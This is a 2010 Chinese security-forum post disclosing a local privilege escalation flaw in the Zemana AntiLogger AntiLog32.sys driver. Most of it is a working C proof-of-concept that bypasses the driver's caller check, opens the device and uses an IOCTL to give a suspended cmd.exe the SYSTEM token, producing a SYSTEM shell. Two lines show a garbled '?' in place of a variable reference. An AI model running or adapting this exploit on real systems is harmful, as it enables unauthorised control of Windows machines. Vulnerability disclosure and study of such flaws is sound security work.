社区应用最新帖子精华区社区服务会员列表统计排行银行
主题 : Zemana AntiLogger AntiLog32.sys <= 1.5.2.755本地权限提升漏洞
amxking在线
Information Security
级别: 管理员

UID: 3
精华: 46
发帖: 2976
安全币: 419753 枚
威望: 5626 点
贡献值: 5506 点
红科币: 287240 枚
好评度: 5616 点
在线时间: 2204(时)
注册时间: 2009-12-21
最后登录: 2010-09-08
楼主 发表于: 2010-07-30 09:58  

Zemana AntiLogger AntiLog32.sys <= 1.5.2.755本地权限提升漏洞

发表:红科网安
发布: Amxking
漏洞程序:Zemana AntiLogger AntiLog32.sys
漏洞类型:本地提权
影响版本:Zemana AntiLogger <=1.9.2.2.206
漏洞描述:AntiLog32.sys创建一个设备名为\设备\ AntiLog32,处理的DeviceIoControl请求IoControlCode = 0x8000201C,可以提高一个进程到另一个进程的特权。
漏洞利用:
EXPLOIT CODE 如下
复制代码
  1. #include "stdafx.h"
  2. #include "windows.h"
  3. #include "winioctl.h"
  4. #define IOCTL_IMPERSONATE_PROCESS CTL_CODE(0x8000 , 0x807 , METHOD_BUFFERED , FILE_ANY_ACCESS)
  5.  
  6. typedef struct _IMPERSONATE_PROCESS{
  7.     HANDLE ImpersonateProcess ;
  8.     HANDLE SystemProcess ;
  9. }IMPERSONATE_PROCESS , *PIMPERSONATE_PROCESS;
  10.  
  11. int main(int argc, char* argv[])
  12. {
  13.     printf("Zemana AntiLogger <=1.9.2.2.206 AntiLog32.sys <= 1.5.2.755\n"
  14.         "Local Privilege Escalation Vulnerability Proof-of-Concept\n"
  15.         "2010-7-28\n"
  16.         "By bbs.honkwin.com\n\nPress Enter\n");
  17.     getchar();
  18.     
  19.     //bypass some useless create check
  20.  
  21.     PIMAGE_DOS_HEADER pdoshdr = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL);
  22.     PIMAGE_NT_HEADERS pnthdr = (PIMAGE_NT_HEADERS)((ULONG)pdoshdr + pdoshdr->e_lfanew);
  23.     PVOID waddr = &pnthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress ;
  24.     
  25.     ULONG oldp ;
  26.  
  27.     VirtualProtect(waddr , sizeof(ULONG) , PAGE_READWRITE , &oldp);
  28.     pnthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0x1 ;
  29.     VirtualProtect(waddr , sizeof(ULONG) , oldp , &oldp);
  30.  
  31.  
  32.     HANDLE hdev = CreateFile("\\\\.\\AntiLog32" ,
  33.         FILE_READ_ATTRIBUTES ,
  34.         FILE_SHARE_READ ,
  35.         0,
  36.         OPEN_EXISTING ,
  37.         0,0);
  38.  
  39.     if (hdev == INVALID_HANDLE_VALUE)
  40.     {
  41.         printf("cannot open device %u\n" , GetLastError());
  42.         getchar();
  43.         return 0;
  44.  
  45.     }
  46.  
  47.     STARTUPINFOA sia ;
  48.     memset(&sia , 0 , sizeof(sia));
  49.     sia.cb = sizeof(sia);
  50.     PROCESS_INFORMATION pi ;
  51.     memset(? , 0 , sizeof(pi));
  52.  
  53.     
  54.  
  55.     if (!CreateProcess("c:\\windows\\system32\\cmd.exe" ,
  56.         NULL ,
  57.         NULL,
  58.         NULL,
  59.         FALSE ,
  60.         CREATE_SUSPENDED,
  61.         NULL,
  62.         NULL,
  63.         &sia ,
  64.         ?))
  65.     {
  66.         printf("cannot run cmd.exe....%u\n", GetLastError());
  67.         getchar();
  68.         return 0 ;
  69.     }
  70.  
  71.     
  72.     IMPERSONATE_PROCESS ip ;
  73.     ip.ImpersonateProcess = (HANDLE)pi.dwProcessId ;
  74.     ip.SystemProcess = (HANDLE)4 ; //// WinXP and later
  75.     ULONG btr ;
  76.  
  77.     if (!DeviceIoControl(hdev , IOCTL_IMPERSONATE_PROCESS , &ip , sizeof(ip) , NULL , 0 , &btr, 0))
  78.     {
  79.         printf("cannot impersonate process %u\n" , GetLastError());
  80.         getchar();
  81.         return 0 ;
  82.     }
  83.  
  84.     ResumeThread(pi.hThread);
  85.  
  86.     printf("OK\n");
  87.  
  88.     
  89.     return 0;
  90. }


文章参考:《MJ0011:inj3ct0r —exploits —13499》

In me the tiger sniffe the rose !帮助别人就是帮助自己!
描述
快速回复

批量上传需要先选择文件,再选择上传
验证问题:
我们的组织是? 正确答案:红科网安
按"Ctrl+Enter"直接提交
上一个下一个